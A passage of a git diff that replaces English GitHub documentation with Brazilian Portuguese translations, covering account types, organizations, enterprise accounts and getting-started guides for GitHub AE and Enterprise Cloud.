+- A opção de gerenciar de forma centralizada a política e cobrança para várias organizações {% data variables.product.prodname_dotcom_the_website %} com uma conta corporativa. Para obter mais informações, consulte "[Sobre contas corporativas](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)".
 
-You can set up a trial to evaluate {% data variables.product.prodname_ghe_cloud %}. For more information, see "<a href="/articles/setting-up-a-trial-of-github-enterprise-cloud" class="dotcom-only">Setting up a trial of {% data variables.product.prodname_ghe_cloud %}</a>."
+Você pode configurar uma versão para avaliar o {% data variables.product.prodname_ghe_cloud %}. Para obter mais informações, consulte "<a href="/articles/setting-up-a-trial-of-github-enterprise-cloud" class="dotcom-only">Configurar uma versão de avaliação do {% data variables.product.prodname_ghe_cloud %}</a>".
 
-For more information about hosting your own instance of [{% data variables.product.prodname_ghe_server %}](https://enterprise.github.com), contact {% data variables.contact.contact_enterprise_sales %}. {% data reusables.enterprise_installation.request-a-trial %}
+Para obter mais informações sobre hospedar sua própria instância do [{% data variables.product.prodname_ghe_server %}](https://enterprise.github.com), entre em contato com {% data variables.contact.contact_enterprise_sales %}. {% data reusables.enterprise_installation.request-a-trial %}
diff --git a/translations/pt-BR/content/get-started/learning-about-github/index.md b/translations/pt-BR/content/get-started/learning-about-github/index.md
index 5861d232ae..7c80f66c04 100644
--- a/translations/pt-BR/content/get-started/learning-about-github/index.md
+++ b/translations/pt-BR/content/get-started/learning-about-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Learning about GitHub
-intro: 'Learn how you can use {% data variables.product.company_short %} products to improve your software management process and collaborate with other people.'
+title: Sobre o GitHub
+intro: 'Saiba como usar produtos do {% data variables.product.company_short %} para melhorar o processo de gerenciamento de software e colaborar com outras pessoas.'
 redirect_from:
   - /articles/learning-about-github
   - /github/getting-started-with-github/learning-about-github
diff --git a/translations/pt-BR/content/get-started/learning-about-github/types-of-github-accounts.md b/translations/pt-BR/content/get-started/learning-about-github/types-of-github-accounts.md
index 568b1834d8..60015e743c 100644
--- a/translations/pt-BR/content/get-started/learning-about-github/types-of-github-accounts.md
+++ b/translations/pt-BR/content/get-started/learning-about-github/types-of-github-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Types of GitHub accounts
-intro: 'Accounts on {% data variables.product.product_name %} allow you to organize and control access to code.'
+title: Tipos de contas do GitHub
+intro: 'As contas em {% data variables.product.product_name %} permitem que você organize e controle o acesso ao código.'
 redirect_from:
   - /manage-multiple-clients
   - /managing-clients
@@ -22,66 +22,66 @@ topics:
   - Security
 ---
 
-## About accounts on {% data variables.product.product_name %}
+## Sobre as contas em {% data variables.product.product_name %}
 
-With {% data variables.product.product_name %}, you can store and collaborate on code. Accounts allow you to organize and control access to that code. There are three types of accounts on {% data variables.product.product_name %}.
-- Personal accounts
-- Organization accounts
-- Enterprise accounts
+Com {% data variables.product.product_name %}, você pode armazenar e colaborar no código. As contas permitem que você organize e controle o acesso a esse código. Existem três tipos de contas em {% data variables.product.product_name %}.
+- Contas pessoais
+- Contas da organização
+- Contas corporativas
 
-Every person who uses {% data variables.product.product_name %} signs into a personal account. An organization account enhances collaboration between multiple personal accounts, and {% ifversion fpt or ghec %}an enterprise account{% else %}the enterprise account for {% data variables.product.product_location %}{% endif %} allows central management of multiple organizations.
+Todas as pessoas que usam {% data variables.product.product_name %} efetuam o login em uma conta pessoal. A conta de uma organização melhora a colaboração entre várias contas pessoais, e {% ifversion fpt or ghec %}uma conta corporativa{% else %}a conta corporativa do {% data variables.product.product_location %}{% endif %} permite o gerenciamento central de múltiplas organizações.
 
-## Personal accounts
+## Contas pessoais
 
-Every person who uses {% data variables.product.product_location %} signs into a personal account. Your personal account is your identity on {% data variables.product.product_location %} and has a username and profile. For example, see [@octocat's profile](https://github.com/octocat).
+Todas as pessoas que usam {% data variables.product.product_location %} efetuam o login em uma conta pessoal. A sua conta pessoal é sua identidade em {% data variables.product.product_location %} e tem um nome de usuário e perfil. Por exemplo, consulte o [perfil do @octocat](https://github.com/octocat).
 
-Your personal account can own resources such as repositories, packages, and projects. Any time you take any action on {% data variables.product.product_location %}, such as creating an issue or reviewing a pull request, the action is attributed to your personal account.
+A sua conta pessoal pode ter recursos próprios, como repositórios, pacotes e projetos. Sempre que você tomar qualquer ação em {% data variables.product.product_location %}, como criar um problema ou revisar um pull request, a ação é atribuída à sua conta pessoal.
 
-{% ifversion fpt or ghec %}Each personal account uses either {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}. All personal accounts can own an unlimited number of public and private repositories, with an unlimited number of collaborators on those repositories. If you use {% data variables.product.prodname_free_user %}, private repositories owned by your personal account have a limited feature set. You can upgrade to {% data variables.product.prodname_pro %} to get a full feature set for private repositories. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)." {% else %}You can create an unlimited number of repositories owned by your personal account, with an unlimited number of collaborators on those repositories.{% endif %}
+{% ifversion fpt or ghec %}Cada conta pessoal usa {% data variables.product.prodname_free_user %} ou {% data variables.product.prodname_pro %}. Todas as contas pessoais podem ter um número ilimitado de repositórios públicos e privados, com um número ilimitado de colaboradores nesses repositórios. Se você usar {% data variables.product.prodname_free_user %}, os repositórios privados pertencentes à sua conta pessoal terão um conjunto de recursos limitado. Você pode fazer a atualização para {% data variables.product.prodname_pro %} para obter um conjunto completo de recursos para repositórios privados. Para obter mais informações, consulte os "[Produtos da {% data variables.product.prodname_dotcom %}](/articles/githubs-products)". {% else %}Você pode criar um número ilimitado de repositórios pertencentes à sua conta pessoal, com um número ilimitado de colaboradores nesses repositórios.{% endif %}
 
 {% tip %}
 
-**Tip**: Personal accounts are intended for humans, but you can create accounts to automate activity on {% data variables.product.product_name %}. This type of account is called a machine user. For example, you can create a machine user account to automate continuous integration (CI) workflows.
+**Dica**: As contas pessoais são destinadas a seres humanos, mas você pode criar contas para automatizar a atividade em {% data variables.product.product_name %}. Este tipo de conta é denominado usuário de máquina. Por exemplo, você pode criar uma conta de usuário de máquina para automatizar os fluxos de trabalho da integração contínua (CI).
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}
-Most people will use one personal account for all their work on {% data variables.product.prodname_dotcom_the_website %}, including both open source projects and paid employment. If you're currently using more than one personal account that you created for yourself, we suggest combining the accounts. For more information, see "[Merging multiple user accounts](/articles/merging-multiple-user-accounts)."
+A maioria das pessoas usará uma conta pessoal para todo seu trabalho em {% data variables.product.prodname_dotcom_the_website %}, incluindo projetos de código aberto e trabalho remunerado. Se você está usando atualmente mais de uma conta pessoal criada por você, sugerimos que você combine as contas. Para obter mais informações, consulte "[Fazer merge de várias contas de usuário](/articles/merging-multiple-user-accounts)".
 {% endif %}
 
-## Organization accounts
+## Contas da organização
 
-Organizations are shared accounts where an unlimited number of people can collaborate across many projects at once. 
+As organizações são contas partilhadas, onde um número ilimitado de pessoas pode colaborar em muitos projetos de uma só vez.
 
-Like personal accounts, organizations can own resources such as repositories, packages, and projects. However, you cannot sign into an organization. Instead, each person signs into their own personal account, and any actions the person takes on organization resources are attributed to their personal account. Each personal account can be a member of multiple organizations.
+Como as contas pessoais, as organizações podem ter recursos próprios, como repositórios, pacotes e projetos. No entanto, você não pode iniciar sessão em uma organização. Em vez disso, cada pessoa assina sua própria conta pessoal e todas as ações que a pessoa toma sobre os recursos da organização são atribuídas à sua conta pessoal. Cada conta pessoal pode ser um integrante de múltiplas organizações.
 
-The personal accounts within an organization can be given different roles in the organization, which grant different levels of access to the organization and its data. All members can collaborate with each other in repositories and projects, but only organization owners and security managers can manage the settings for the organization and control access to the organization's data with sophisticated security and administrative features. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Keeping your organization secure](/organizations/keeping-your-organization-secure)."
+As contas pessoais dentro de uma organização podem receber diferentes funções na organização, que concedem diferentes níveis de acesso à organização e aos seus dados. Todos os integrantes podem colaborar entre si em repositórios e projetos, mas apenas os proprietários da organização e os gerentes de segurança podem gerenciar as configurações da organização e controlar o acesso aos dados da organização, com funcionalidades administrativas e de segurança sofisticadas. Para obter mais informações, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" e "[Mantendo a sua organização segura](/organizations/keeping-your-organization-secure)".
 
-![Diagram showing that users must sign in to their personal user account to access an organization's resources](/assets/images/help/overview/sign-in-pattern.png)
+![Diagrama que mostra que os usuários devem efetuar o login na sua conta pessoal para acessar os recursos de uma organização](/assets/images/help/overview/sign-in-pattern.png)
 
-{% ifversion fpt or ghec %} 
-Even if you're a member of an organization that uses SAML single sign-on, you will still sign into your own personal account on {% data variables.product.prodname_dotcom_the_website %}, and that personal account will be linked to your identity in your organization's identity provider (IdP). For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %}
+{% ifversion fpt or ghec %}
+Mesmo que você seja um integrante de uma organização que usa o logon único SAML, você ainda vai efetuar o login na sua própria conta pessoal em {% data variables.product.prodname_dotcom_the_website %}, e essa conta pessoal será vinculada à sua identidade no provedor de identidade da sua organização (IdP). Para obter mais informações, consulte "[Sobre a autenticação com o logon único SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}{% else %}"{% endif %}
 
-However, if you're a member of an enterprise that uses {% data variables.product.prodname_emus %}, instead of using a personal account that you created, a new account will be provisioned for you by the enterprise's IdP. To access any organizations owned by that enterprise, you must authenticate using their IdP instead of a {% data variables.product.prodname_dotcom_the_website %} username and password. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+No entanto, se você for integrante de uma empresa que usa {% data variables.product.prodname_emus %}, em vez de usar uma conta pessoal que você criou, uma nova conta será provisionada para você pelo IdP da empresa. Para acessar qualquer organização pertencente a essa empresa, você deverá efetuar a autenticação usando o IdP ao invés de um nome de usuário e senha de {% data variables.product.prodname_dotcom_the_website %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}{% endif %}
 {% endif %}
 
-You can also create nested sub-groups of organization members called teams, to reflect your group's structure and simplify access management. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+Você também pode criar subgrupos aninhados de integrantes da organização denominados equipes para refletir a estrutura do seu grupo e simplificar o gerenciamento de acesso. Para obter mais informações, consulte "[Sobre equipes](/organizations/organizing-members-into-teams/about-teams)".
 
 {% data reusables.organizations.organization-plans %}
 
-For more information about all the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+Para obter mais informações sobre todas as funcionalidades das organizações, consulte "[Sobre as organizações](/organizations/collaborating-with-groups-in-organizations/about-organizations)".
 
-## Enterprise accounts
+## Contas corporativas
 
 {% ifversion fpt %}
-{% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} include enterprise accounts, which allow administrators to centrally manage policy and billing for multiple organizations and enable innersourcing between the organizations. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
+{% data variables.product.prodname_ghe_cloud %} e {% data variables.product.prodname_ghe_server %} incluem contas corporativas, que permitem aos administradores gerenciar centralmente a política e a cobrança para várias organizações e habilitar a fonte interna entre as organizações. Para obter mais informações, consulte "[Sobre contas corporativas](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" na documentação de {% data variables.product.prodname_ghe_cloud %}.
 {% elsif ghec %}
-Enterprise accounts allow central policy management and billing for multiple organizations. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+As contas corporativas permitem gestão centralizada de políticas e cobrança para várias organizações. Você pode usar a conta corporativa para gerenciar centralmente a política e a cobrança. Ao contrário das organizações, as contas corporativas não podem ter recursos próprios, como repositórios, pacotes ou projetos. Esses recursos são propriedade de organizações dentro da conta corporativa. Para obter mais informações, consulte "[Sobre contas corporativas](/admin/overview/about-enterprise-accounts)".
 {% elsif ghes or ghae %}
-Your enterprise account is a collection of all the organizations {% ifversion ghae %}owned by{% elsif ghes %}on{% endif %} {% data variables.product.product_location %}. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+A sua conta corporativa é uma coleção de todas as organizações {% ifversion ghae %}pertencentes a{% elsif ghes %}em{% endif %} {% data variables.product.product_location %}. Você pode usar a conta corporativa para gerenciar centralmente a política e a cobrança. Ao contrário das organizações, as contas corporativas não podem ter recursos próprios, como repositórios, pacotes ou projetos. Esses recursos são propriedade de organizações dentro da conta corporativa. Para obter mais informações, consulte "[Sobre contas corporativas](/admin/overview/about-enterprise-accounts)".
 {% endif %}
 
-## Further reading
+## Leia mais
 
-{% ifversion fpt or ghec %}- "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)"{% endif %}
-- "[Creating a new organization account](/articles/creating-a-new-organization-account)"
+{% ifversion fpt or ghec %}- "[Inscrever-se em uma nova conta do {% data variables.product.prodname_dotcom %}](/articles/signing-up-for-a-new-github-account)"{% endif %}
+- "[Criar uma conta de organização](/articles/creating-a-new-organization-account)"
diff --git a/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-ae.md b/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-ae.md
index 013ac1a1af..ee7b61ba97 100644
--- a/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-ae.md
+++ b/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-ae.md
@@ -1,83 +1,83 @@
 ---
-title: Getting started with GitHub AE
-intro: 'Get started with setting up and configuring {% data variables.product.product_name %} for {% data variables.product.product_location %}.'
+title: Introdução ao GitHub AE
+intro: 'Comece a configurar {% data variables.product.product_name %} para {% data variables.product.product_location %}.'
 versions:
   ghae: '*'
 ---
 
-This guide will walk you through setting up, configuring, and managing settings for {% data variables.product.product_location %} on {% data variables.product.product_name %} as an enterprise owner.
+Este guia irá ajudar você a configurar e gerenciar as configurações para {% data variables.product.product_location %} em {% data variables.product.product_name %} como proprietário corporativo.
 
-## Part 1: Setting up {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you can create your enterprise account, initialize {% data variables.product.product_name %}, configure an IP allow list, configure user authentication and provisioning, and manage billing for {% data variables.product.product_location %}.
+## Parte 1: Configurando {% data variables.product.product_name %}
+Para dar os primeiros passos com {% data variables.product.product_name %}, você pode criar a conta corporativa, inicializar {% data variables.product.product_name %}, configurar uma lista de permissões de IP, configurar a autenticação e provisionamento de usuário e gerenciar a cobrança para {% data variables.product.product_location %}.
 
-### 1. Creating your {% data variables.product.product_name %} enterprise account
-You will first need to purchase {% data variables.product.product_name %}. For more information, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
+### 1. Criando sua conta corporativa de {% data variables.product.product_name %}
+Primeiro você precisará comprar {% data variables.product.product_name %}. Para obter mais informações, entre em contato com [a equipe de vendas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact).
 
 {% data reusables.github-ae.initialize-enterprise %}
 
-### 2. Initializing {% data variables.product.product_name %}
-After {% data variables.product.company_short %} creates the owner account for {% data variables.product.product_location %} on {% data variables.product.product_name %}, you will receive an email to sign in and complete the initialization. During initialization, you, as the enterprise owner, will name {% data variables.product.product_location %}, configure SAML SSO, create policies for all organizations in {% data variables.product.product_location %}, and configure a support contact for your enterprise members. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)."
+### 2. Inicializando {% data variables.product.product_name %}
+Depois de {% data variables.product.company_short %} criar a conta do proprietário para {% data variables.product.product_location %} em {% data variables.product.product_name %}, você receberá um e-mail para efetuar o login e e concluir a inicialização. Durante a inicialização, você, como o proprietário da empresa, irá nomear {% data variables.product.product_location %}, configurar o SAML SSO, criar políticas para todas as organizações em {% data variables.product.product_location %} e configurar um contato de suporte para os integrantes da empresa. Para obter mais informações, consulte "[Inicializar {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)".
 
-### 3. Restricting network traffic
-You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)."
+### 3. Restringir tráfego de rede
+É possível configurar uma lista de permissões para endereços IP específicos para restringir o acesso a ativos pertencentes a organizações na sua conta corporativa. Para obter mais informações, consulte "[Restringir tráfego de rede para a sua empresa](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)".
 
-### 4. Managing identity and access for {% data variables.product.product_location %}
-You can centrally manage access to {% data variables.product.product_location %} on {% data variables.product.product_name %} from an identity provider (IdP) using SAML single sign-on (SSO) for user authentication and System for Cross-domain Identity Management (SCIM) for user provisioning. Once you configure provisioning, you can assign or unassign users to the application from the IdP, creating or disabling user accounts in the enterprise. For more information, see "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)."
+### 4. Gerenciando a identidade e o acesso para {% data variables.product.product_location %}
+Você pode gerenciar centralmente o acesso a {% data variables.product.product_location %} em {% data variables.product.product_name %} a partir de um provedor de identidade (IdP) usando o logon único SAML (SSO) para autenticação de usuário e o sistema para gerenciamento de identidade de domínio cruzado (SCIM) para provisionamento de usuários. Depois de configurar o provisionamento, você poderá atribuir ou remover usuários para o aplicativo a partir do IdP, criando ou desabilitando as contas de usuários na empresa. Para obter mais informações, consulte "[Sobre identidade e gerenciamento de acesso para sua empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)".
 
-### 5. Managing billing for {% data variables.product.product_location %}
-Owners of the subscription for {% data variables.product.product_location %} on {% data variables.product.product_name %} can view billing details for {% data variables.product.product_name %} in the Azure portal. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)."
+### 5. Gerenciando cobrança para {% data variables.product.product_location %}
+Os proprietários da assinatura de {% data variables.product.product_location %} em {% data variables.product.product_name %} podem ver informações de cobrança para {% data variables.product.product_name %} no portal do Azure. Para obter mais informações, consulte "[Gerenciando a cobrança da sua empresa](/admin/overview/managing-billing-for-your-enterprise)".
 
-## Part 2: Organizing and managing enterprise members
-As an enterprise owner for {% data variables.product.product_name %}, you can manage settings on user, repository, team, and organization levels. You can manage members of {% data variables.product.product_location %}, create and manage organizations, set policies for repository management, and create and manage teams.
+## Parte 2: Organização e gestão dos integrantes da empresa
+Como proprietário corporativo de {% data variables.product.product_name %}, você pode gerenciar as configurações nos níveis do usuário, repositório, equipe e organização. Você pode gerenciar os integrantes de {% data variables.product.product_location %}, criar e gerenciar organizações, definir políticas para o gerenciamento do repositório e criar e gerenciar equipes.
 
-### 1. Managing members of {% data variables.product.product_location %}
+### 1. Gerenciando integrantes de {% data variables.product.product_location %}
 {% data reusables.getting-started.managing-enterprise-members %}
 
-### 2. Creating organizations
+### 2. Criar organizações
 {% data reusables.getting-started.creating-organizations %}
 
-### 3. Adding members to organizations
+### 3. Adicionando integrantes a organizações
 {% data reusables.getting-started.adding-members-to-organizations %}
 
-### 4. Creating teams
+### 4. Criar equipes
 {% data reusables.getting-started.creating-teams %}
 
-### 5. Setting organization and repository permission levels
+### 5. Definindo níveis de permissões para a organização e para o repositório
 {% data reusables.getting-started.setting-org-and-repo-permissions %}
 
-### 6. Enforcing repository management policies
+### 6. Aplicando políticas de gerenciamento do repositório
 {% data reusables.getting-started.enforcing-repo-management-policies %}
 
-## Part 3: Building securely
-To increase the security of {% data variables.product.product_location %}, you can monitor {% data variables.product.product_location %} and configure security and analysis features for your organizations.
+## Parte 3: Criando com segurança
+Para aumentar a segurança de {% data variables.product.product_location %}, você pode monitorar {% data variables.product.product_location %} e configurar as funcionalidades de segurança e análise das suas organizações.
 
-### 1. Monitoring {% data variables.product.product_location %}
-You can monitor {% data variables.product.product_location %} with your activity dashboard and audit logging. For more information, see "[Monitoring activity in your enterprise](/admin/user-management/monitoring-activity-in-your-enterprise)."
+### 1. Monitorando {% data variables.product.product_location %}
+Você pode monitorar {% data variables.product.product_location %} com o seu painel de atividade e log de auditoria. Para obter mais informações, consulte "[Atividade de monitoramento na sua empresa](/admin/user-management/monitoring-activity-in-your-enterprise)".
 
-### 2. Configuring security features for your organizations
+### 2. Configurar as funcionalidades de segurança para as suas organizações
 {% data reusables.getting-started.configuring-security-features %}
 
-## Part 4: Customizing and automating work on {% data variables.product.product_location %}
-You can customize and automate work in organizations in {% data variables.product.product_location %} with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, {% data variables.product.prodname_actions %}, and {% data variables.product.prodname_pages %}.
+## Parte 4: Personalizando e automatizando o trabalho em {% data variables.product.product_location %}
+Você pode personalizar e automatizar o trabalho em organizações em {% data variables.product.product_location %} com a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, {% data variables.product.prodname_actions %} e {% data variables.product.prodname_pages %}.
 
-### 1. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+### 1. Usando a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}
 {% data reusables.getting-started.api %}
 
-### 2. Building {% data variables.product.prodname_actions %}
+### 2. Criando {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-For more information on enabling and configuring {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae)."
+Para obter mais informações sobre como habilitar e configurar {% data variables.product.prodname_actions %} para {% data variables.product.product_name %}, consulte "[Primeiros passos com {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae)".
 
-### 3. Using {% data variables.product.prodname_pages %}
+### 3. Usar {% data variables.product.prodname_pages %}
 {% data reusables.getting-started.github-pages-enterprise %}
-## Part 5: Using {% data variables.product.prodname_dotcom %}'s learning and support resources
-Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need with {% data variables.product.prodname_dotcom %} Enterprise Support.
+## Parte 5: Usando o aprendizado de {% data variables.product.prodname_dotcom %} e os recursos de suporte
+Os integrantes da sua empresa podem aprender mais sobre Git e {% data variables.product.prodname_dotcom %} com nossos recursos de aprendizado. e você pode obter o suporte de que precisa com o Suporte do Enterprise de {% data variables.product.prodname_dotcom %}.
 
-### 1. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %}
-You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_managed %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+### 1. Lendo sobre {% data variables.product.product_name %} em {% data variables.product.prodname_docs %}
+Você pode ler a documentação que reflete as funcionalidades disponíveis com {% data variables.product.prodname_ghe_managed %}. Para obter mais informações, consulte "[Sobre as versões do {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
 
-### 2. Learning with {% data variables.product.prodname_learning %}
+### 2. Aprendendo com {% data variables.product.prodname_learning %}
 {% data reusables.getting-started.learning-lab-enterprise %}
 
-### 3. Working with {% data variables.product.prodname_dotcom %} Enterprise Support
+### 3. Trabalhando com o Suporte do Enterprise de {% data variables.product.prodname_dotcom %}
 {% data reusables.getting-started.contact-support-enterprise %}
diff --git a/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md b/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
index 9598e02d65..7b694f4aed 100644
--- a/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
+++ b/translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
@@ -1,216 +1,216 @@
 ---
-title: Getting started with GitHub Enterprise Cloud
-intro: 'Get started with setting up and managing your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account.'
+title: Introdução ao GitHub Enterprise Cloud
+intro: 'Comece a criar e gerenciar sua organização ou conta corporativa de {% data variables.product.prodname_ghe_cloud %}.'
 versions:
   fpt: '*'
   ghec: '*'
 ---
 
-This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_ghe_cloud %} account as an organization or enterprise owner.
+Este guia irá ajudar você a configurar e gerenciar sua conta de {% data variables.product.prodname_ghe_cloud %} como uma organização ou proprietário da empresa.
 
 {% data reusables.enterprise.ghec-cta-button %}
 
-## Part 1: Choosing your account type
+## Parte 1: Escolhendo o seu tipo de conta
 
-{% data variables.product.prodname_dotcom %} provides two types of Enterprise products:
+{% data variables.product.prodname_dotcom %} fornece dois tipos de produtos corporativos:
 
 - **{% data variables.product.prodname_ghe_cloud %}**
 - **{% data variables.product.prodname_ghe_server %}**
 
-The main difference between the products is that {% data variables.product.prodname_ghe_cloud %} is hosted by {% data variables.product.prodname_dotcom %}, while {% data variables.product.prodname_ghe_server %} is self-hosted.
+A principal diferença entre os produtos é que {% data variables.product.prodname_ghe_cloud %} é hospedado por {% data variables.product.prodname_dotcom %}, enquanto {% data variables.product.prodname_ghe_server %} é auto-hospedado.
 
-With {% data variables.product.prodname_ghe_cloud %}, you have the option of using {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %}
+Com {% data variables.product.prodname_ghe_cloud %}, você tem a opção de usar {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %}
 
-If you choose to let your members create and manage their own user accounts instead, there are two types of accounts you can use with {% data variables.product.prodname_ghe_cloud %}:
+Se você optar por deixar seus integrantes criarem e gerenciarem suas próprias contas de usuário, há dois tipos de contas que você pode usar com {% data variables.product.prodname_ghe_cloud %}:
 
-- A single organization account
-- An enterprise account that contains multiple organizations
+- Uma conta de organização única
+- Uma conta corporativa que contém várias organizações
 
-### 1. Understanding the differences between an organization account and enterprise account
+### 1. Compreender as diferenças entre uma conta de organização e a conta corporativa
 
-Both organization and enterprise accounts are available with {% data variables.product.prodname_ghe_cloud %}. An organization is a shared account where groups of people can collaborate across many projects at once, and owners and administrators can manage access to data and projects. An enterprise account enables collaboration between multiple organizations, and allows owners to centrally manage policy, billing and security for these organizations. For more information on the differences, see "[Organizations and enterprise accounts](/organizations/collaborating-with-groups-in-organizations/about-organizations#organizations-and-enterprise-accounts)."
+As contas da organização e da empresa estão disponíveis com {% data variables.product.prodname_ghe_cloud %}. Uma organização é uma conta compartilhada em que grupos de pessoas podem colaborar em vários projetos de uma só vez, e os proprietários e administradores podem gerenciar o acesso a dados e projetos. Uma conta corporativa permite a colaboração entre várias organizações e permite que os proprietários gerenciem centralmente a política, cobrança e segurança dessas organizações. Para obter mais informações sobre as diferenças, consulte "[Organizações e contas corporativas](/organizations/collaborating-with-groups-in-organizations/about-organizations#organizations-and-enterprise-accounts)".
 
 
 
-If you choose an enterprise account, keep in mind that some policies can be set only at an organization level, while others can be enforced for all organizations in an enterprise.
+Se você escolher uma conta corporativa, tenha em mente que algumas políticas só podem ser definidas no nível organizacional, enquanto outras podem ser aplicadas a todas as organizações de uma empresa.
 
-Once you choose the account type you would like, you can proceed to setting up your account. In each of the sections in this guide, proceed to either the single organization or enterprise account section based on your account type.
+Depois de escolher o tipo de conta que você desejar, você poderá continuar a criar a sua conta. Em cada uma das seções deste guia, acesse a seção de organização única ou conta corporativa com base no seu tipo de conta.
 
-## Part 2: Setting up your account
-To get started with {% data variables.product.prodname_ghe_cloud %}, you will want to create your organization or enterprise account and set up and view billing settings, subscriptions and usage.
-### Setting up a single organization account with {% data variables.product.prodname_ghe_cloud %}
+## Parte 2: Configurando a sua conta
+Para começar com {% data variables.product.prodname_ghe_cloud %}, você deverá criar sua conta organizativa ou corporativa e configurar e ver as configurações de cobrança, assinaturas e uso.
+### Como criar uma conta de organização única com {% data variables.product.prodname_ghe_cloud %}
 
-#### 1. About organizations
-Organizations are shared accounts where groups of people can collaborate across many projects at once. With {% data variables.product.prodname_ghe_cloud %}, owners and administrators can manage their organization with sophisticated user authentication and management, as well as escalated support and security options. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
-#### 2. Creating or upgrading an organization account
+#### 1. Sobre organizações
+As organizações são contas compartilhadas, onde grupos de pessoas podem colaborar em vários projetos de uma vez. Com o {% data variables.product.prodname_ghe_cloud %}, os proprietários e administradores podem gerenciar sua organização com autenticação e gestão de usuário sofisticada, bem como com opções de segurança e suporte escaladas. Para obter mais informações, consulte "[Sobre organizações](/organizations/collaborating-with-groups-in-organizations/about-organizations)".
+#### 2. Criando ou atualizando a conta de uma organização
 
